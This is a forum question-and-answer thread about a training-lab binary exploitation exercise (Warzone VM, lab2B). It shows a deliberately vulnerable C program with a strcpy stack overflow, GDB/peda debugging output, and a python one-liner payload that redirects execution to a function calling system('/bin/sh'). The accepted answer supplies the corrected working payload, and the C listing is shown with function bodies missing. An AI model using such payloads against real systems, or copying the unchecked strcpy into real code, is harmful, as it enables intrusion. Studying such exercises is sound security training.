I'm working inside a Warzone VM with no ALSR or NX bit. The program I'm trying to exploit is really simple:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

 * compiled with:
 * gcc -O0 -fno-stack-protector lab2B.c -o lab2B

char* exec_string = "/bin/sh";

void shell(char* cmd)

void print_name(char* input)
    char buf[15];
    strcpy(buf, input);
    printf("Hello %s\n", buf);

int main(int argc, char** argv)
    if(argc != 2)
        printf("usage:\n%s string\n", argv[0]);
        return EXIT_FAILURE;


    return EXIT_SUCCESS;

I was able to get it working in GDB (I think):

lab2B@warzone:/levels/lab02$ gdb --args lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'")
Reading symbols from lab2B...(no debugging symbols found)...done.
gdb-peda$ disas shell
Dump of assembler code for function shell:
   0x080486bd <+0>: push   ebp
   0x080486be <+1>: mov    ebp,esp
   0x080486c0 <+3>: sub    esp,0x18
   0x080486c3 <+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x080486c6 <+9>: mov    DWORD PTR [esp],eax
   0x080486c9 <+12>:    call   0x8048590 <system@plt>
   0x080486ce <+17>:    leave
   0x080486cf <+18>:    ret
End of assembler dump.
gdb-peda$ b *0x080486c9
Breakpoint 1 at 0x80486c9
gdb-peda$ r
Starting program: /levels/lab02/lab2B AAAAAAAAAAAAAAAAAAAAAAAAAAA�BBBB\(�
EAX: 0x804a028 --> 0x80487d0 ("/bin/sh")
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff66c ("AAAABBBB(\240\004\b")
ESP: 0xbffff654 --> 0x804a028 --> 0x80487d0 ("/bin/sh")
EIP: 0x80486c9 (<shell+12>: call   0x8048590 <system@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x80486c0 <shell+3>: sub    esp,0x18
   0x80486c3 <shell+6>: mov    eax,DWORD PTR [ebp+0x8]
   0x80486c6 <shell+9>: mov    DWORD PTR [esp],eax
=> 0x80486c9 <shell+12>:    call   0x8048590 <system@plt>
   0x80486ce <shell+17>:    leave
   0x80486cf <shell+18>:    ret
   0x80486d0 <print_name>:  push   ebp
   0x80486d1 <print_name+1>:    mov    ebp,esp
Guessed arguments:
arg[0]: 0x804a028 --> 0x80487d0 ("/bin/sh")
0000| 0xbffff654 --> 0x804a028 --> 0x80487d0 ("/bin/sh")
0004| 0xbffff658 ('A' <repeats 24 times>, "BBBB(\240\004\b")
0008| 0xbffff65c ('A' <repeats 20 times>, "BBBB(\240\004\b")
0012| 0xbffff660 ('A' <repeats 16 times>, "BBBB(\240\004\b")
0016| 0xbffff664 ('A' <repeats 12 times>, "BBBB(\240\004\b")
0020| 0xbffff668 ("AAAAAAAABBBB(\240\004\b")
0024| 0xbffff66c ("AAAABBBB(\240\004\b")
0028| 0xbffff670 ("BBBB(\240\004\b")
Legend: code, data, rodata, value

Breakpoint 1, 0x080486c9 in shell ()
gdb-peda$ c
[New process 2068]
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
process 2068 is executing new program: /bin/dash
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Cannot insert breakpoint 1.
Cannot access memory at address 0x80486c9

But it seems like the shell won't open outside of GDB:

lab2B@warzone:/levels/lab02$ ./lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\x28\xa0\x04\x08'")
sh: 1: : not found
Segmentation fault (core dumped)

I would think it's some kind of stack padding issue due to different environments(?) but it does seem to be invoking sh to some capacity. What kind of tools can I use to debug this sort of issue outside of GDB? If tooling won't help is there any kind of reading that will help me better understand what's going on? Thanks!

1 Answer 1


I don't think your shell code works even in gdb. The problem is in the address of the string in your shellcode. You are not showing in your question how did you get the address of the string that you use (0x804a028) but if you would search for '/bin/sh', it would probably be at address 0x80487d0 and that should be in your shellcode. Right now your are passing an address that points to an address of the string. You just need an address of the string. You could verify it by calling shellcode(exec_string) and checking the stack/addressess/pointers just before the call to system.

So corrected executions should be:

./lab2B $(python -c "print 'A' * 27 + '\xbd\x86\x04\x08' + 'BBBB' + '\xd0\x87\x04\x08'")
  • 1
    Ah, you're absolutely right! I was passing the address the pointer was stored at, not the value of the pointer itself. Thanks for the sanity check - definitely something I will watch for in the future. I went to see where this red herring came from: sh: 1: : not found and it looks like system(3) always calls /bin/sh -c on it's input.
    – smbullet
    Commented Jun 15, 2020 at 23:51

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.